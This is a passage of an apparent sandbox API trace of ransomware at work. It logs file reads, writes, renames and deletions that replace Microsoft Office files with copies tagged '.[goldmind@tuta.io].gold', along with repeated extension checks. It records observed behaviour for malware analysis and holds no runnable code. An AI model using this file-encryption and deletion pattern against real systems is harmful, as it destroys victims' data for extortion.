office\\office14\\1033\\outlook.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0104.821] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=211) returned 1 [0104.821] CloseHandle (hObject=0x3b8) returned 1 [0104.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt")) returned 0x20 [0104.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0104.821] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.821] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0104.822] GetLastError () returned 0x0 [0104.822] ReadFile (in: hFile=0x3b8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0xd3, lpOverlapped=0x0) returned 1 [0104.822] WriteFile (in: hFile=0x3ac, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0104.823] ReadFile (in: hFile=0x3b8, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0104.823] WriteFile (in: hFile=0x3ac, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0104.823] SetEndOfFile (hFile=0x3ac) returned 1 [0104.823] CloseHandle (hObject=0x3ac) returned 1 [0104.823] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0104.823] SetEndOfFile (hFile=0x3b8) returned 1 [0105.380] CloseHandle (hObject=0x3b8) returned 1 [0105.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.469] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt")) returned 1 [0105.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0105.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0105.574] lstrlenW (lpString=".doc") returned 4 [0105.574] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0105.574] lstrlenW (lpString=".docx") returned 5 [0105.574] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0105.574] lstrlenW (lpString=".pdf") returned 4 [0105.574] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0105.574] lstrlenW (lpString=".xls") returned 4 [0105.574] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0105.574] lstrlenW (lpString=".xlsx") returned 5 [0105.574] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0105.574] lstrlenW (lpString=".ppt") returned 4 [0105.574] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0105.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0105.574] lstrlenW (lpString=".zip") returned 4 [0105.574] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0105.574] lstrlenW (lpString=".rar") returned 4 [0105.574] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0105.574] lstrlenW (lpString=".bz2") returned 4 [0105.574] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0105.574] lstrlenW (lpString=".7z") returned 3 [0105.574] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0105.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0105.574] lstrlenW (lpString=".dbf") returned 4 [0105.574] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0105.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0105.574] lstrlenW (lpString=".1cd") returned 4 [0105.574] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0105.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0105.574] lstrlenW (lpString=".jpg") returned 4 [0105.574] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0105.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0105.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0105.574] lstrlenW (lpString=".doc") returned 4 [0105.575] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0105.575] lstrlenW (lpString=".docx") returned 5 [0105.575] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0105.575] lstrlenW (lpString=".pdf") returned 4 [0105.575] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0105.575] lstrlenW (lpString=".xls") returned 4 [0105.575] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0105.575] lstrlenW (lpString=".xlsx") returned 5 [0105.575] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0105.575] lstrlenW (lpString=".ppt") returned 4 [0105.575] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0105.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0105.575] lstrlenW (lpString=".zip") returned 4 [0105.575] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0105.575] lstrlenW (lpString=".rar") returned 4 [0105.575] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0105.575] lstrlenW (lpString=".bz2") returned 4 [0105.575] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0105.575] lstrlenW (lpString=".7z") returned 3 [0105.575] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0105.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0105.575] lstrlenW (lpString=".dbf") returned 4 [0105.575] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0105.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0105.575] lstrlenW (lpString=".1cd") returned 4 [0105.575] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0105.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT") returned 67 [0105.575] lstrlenW (lpString=".jpg") returned 4 [0105.575] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0105.575] lstrcmpiW (lpString1=".VRD", lpString2=".gold") returned 1 [0105.575] lstrlenW (lpString="PIPELINE.VRD") returned 12 [0105.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0105.646] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=1920) returned 1 [0105.646] CloseHandle (hObject=0x3c8) returned 1 [0105.646] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd")) returned 0x20 [0105.649] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.650] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.650] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0105.651] GetLastError () returned 0x0 [0105.651] ReadFile (in: hFile=0x3b0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x780, lpOverlapped=0x0) returned 1 [0105.660] WriteFile (in: hFile=0x38c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x790, lpOverlapped=0x0) returned 1 [0105.661] ReadFile (in: hFile=0x3b0, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.661] WriteFile (in: hFile=0x38c, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xec, lpOverlapped=0x0) returned 1 [0105.661] SetEndOfFile (hFile=0x38c) returned 1 [0105.661] CloseHandle (hObject=0x38c) returned 1 [0105.661] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.661] SetEndOfFile (hFile=0x3b0) returned 1 [0105.663] CloseHandle (hObject=0x3b0) returned 1 [0105.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.663] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd")) returned 1 [0105.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0105.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0105.664] lstrlenW (lpString=".doc") returned 4 [0105.664] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0105.664] lstrlenW (lpString=".docx") returned 5 [0105.664] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0105.664] lstrlenW (lpString=".pdf") returned 4 [0105.664] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0105.664] lstrlenW (lpString=".xls") returned 4 [0105.664] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0105.664] lstrlenW (lpString=".xlsx") returned 5 [0105.664] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0105.664] lstrlenW (lpString=".ppt") returned 4 [0105.664] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0105.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0105.664] lstrlenW (lpString=".zip") returned 4 [0105.664] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0105.664] lstrlenW (lpString=".rar") returned 4 [0105.664] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0105.664] lstrlenW (lpString=".bz2") returned 4 [0105.664] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0105.664] lstrlenW (lpString=".7z") returned 3 [0105.664] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0105.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0105.664] lstrlenW (lpString=".dbf") returned 4 [0105.664] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0105.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0105.664] lstrlenW (lpString=".1cd") returned 4 [0105.664] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0105.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0105.664] lstrlenW (lpString=".jpg") returned 4 [0105.664] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0105.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0105.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0105.664] lstrlenW (lpString=".doc") returned 4 [0105.664] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0105.664] lstrlenW (lpString=".docx") returned 5 [0105.664] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0105.664] lstrlenW (lpString=".pdf") returned 4 [0105.664] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0105.664] lstrlenW (lpString=".xls") returned 4 [0105.664] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0105.664] lstrlenW (lpString=".xlsx") returned 5 [0105.664] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0105.664] lstrlenW (lpString=".ppt") returned 4 [0105.664] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0105.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0105.665] lstrlenW (lpString=".zip") returned 4 [0105.665] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0105.665] lstrlenW (lpString=".rar") returned 4 [0105.665] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0105.665] lstrlenW (lpString=".bz2") returned 4 [0105.665] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0105.665] lstrlenW (lpString=".7z") returned 3 [0105.665] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0105.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0105.665] lstrlenW (lpString=".dbf") returned 4 [0105.665] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0105.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0105.665] lstrlenW (lpString=".1cd") returned 4 [0105.665] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0105.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0105.665] lstrlenW (lpString=".jpg") returned 4 [0105.665] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0105.665] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0105.665] lstrlenW (lpString="PMENURES.DLL") returned 12 [0105.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pmenures.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.674] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=10624) returned 1 [0105.674] CloseHandle (hObject=0x3b0) returned 1 [0105.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pmenures.dll")) returned 0x20 [0105.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pmenures.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pmenures.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0105.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0105.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0105.674] lstrlenW (lpString=".doc") returned 4 [0105.674] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0105.674] lstrlenW (lpString=".docx") returned 5 [0105.674] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0105.674] lstrlenW (lpString=".pdf") returned 4 [0105.674] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0105.674] lstrlenW (lpString=".xls") returned 4 [0105.674] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0105.674] lstrlenW (lpString=".xlsx") returned 5 [0105.674] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0105.674] lstrlenW (lpString=".ppt") returned 4 [0105.674] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0105.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0105.674] lstrlenW (lpString=".zip") returned 4 [0105.674] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0105.674] lstrlenW (lpString=".rar") returned 4 [0105.674] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0105.674] lstrlenW (lpString=".bz2") returned 4 [0105.674] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0105.674] lstrlenW (lpString=".7z") returned 3 [0105.674] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0105.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0105.674] lstrlenW (lpString=".dbf") returned 4 [0105.674] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0105.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0105.674] lstrlenW (lpString=".1cd") returned 4 [0105.674] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0105.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0105.675] lstrlenW (lpString=".jpg") returned 4 [0105.675] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0105.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0105.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0105.675] lstrlenW (lpString=".doc") returned 4 [0105.675] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0105.675] lstrlenW (lpString=".docx") returned 5 [0105.675] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0105.675] lstrlenW (lpString=".pdf") returned 4 [0105.675] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0105.675] lstrlenW (lpString=".xls") returned 4 [0105.675] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0105.675] lstrlenW (lpString=".xlsx") returned 5 [0105.675] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0105.675] lstrlenW (lpString=".ppt") returned 4 [0105.675] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0105.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0105.675] lstrlenW (lpString=".zip") returned 4 [0105.675] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0105.675] lstrlenW (lpString=".rar") returned 4 [0105.675] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0105.675] lstrlenW (lpString=".bz2") returned 4 [0105.675] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0105.675] lstrlenW (lpString=".7z") returned 3 [0105.675] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0105.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0105.675] lstrlenW (lpString=".dbf") returned 4 [0105.675] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0105.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0105.675] lstrlenW (lpString=".1cd") returned 4 [0105.675] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0105.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0105.675] lstrlenW (lpString=".jpg") returned 4 [0105.675] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0105.675] lstrcmpiW (lpString1=".HXS", lpString2=".gold") returned 1 [0105.675] lstrlenW (lpString="POWERPNT.DEV.HXS") returned 16 [0105.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0105.676] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=5042788) returned 1 [0105.676] CloseHandle (hObject=0x3b0) returned 1 [0105.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs")) returned 0x20 [0105.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.676] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0105.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0105.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0105.676] lstrlenW (lpString=".doc") returned 4 [0105.676] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0105.676] lstrlenW (lpString=".docx") returned 5 [0105.676] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0105.676] lstrlenW (lpString=".pdf") returned 4 [0105.676] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0105.676] lstrlenW (lpString=".xls") returned 4 [0105.676] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0105.676] lstrlenW (lpString=".xlsx") returned 5 [0105.676] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0105.676] lstrlenW (lpString=".ppt") returned 4 [0105.676] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0105.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0105.676] lstrlenW (lpString=".zip") returned 4 [0105.676] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0105.676] lstrlenW (lpString=".rar") returned 4 [0105.676] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0105.677] lstrlenW (lpString=".bz2") returned 4 [0105.677] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0105.677] lstrlenW (lpString=".7z") returned 3 [0105.677] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0105.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0105.677] lstrlenW (lpString=".dbf") returned 4 [0105.677] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0105.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0105.677] lstrlenW (lpString=".1cd") returned 4 [0105.677] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0105.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0105.677] lstrlenW (lpString=".jpg") returned 4 [0105.677] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0105.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 [0105.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS") returned 64 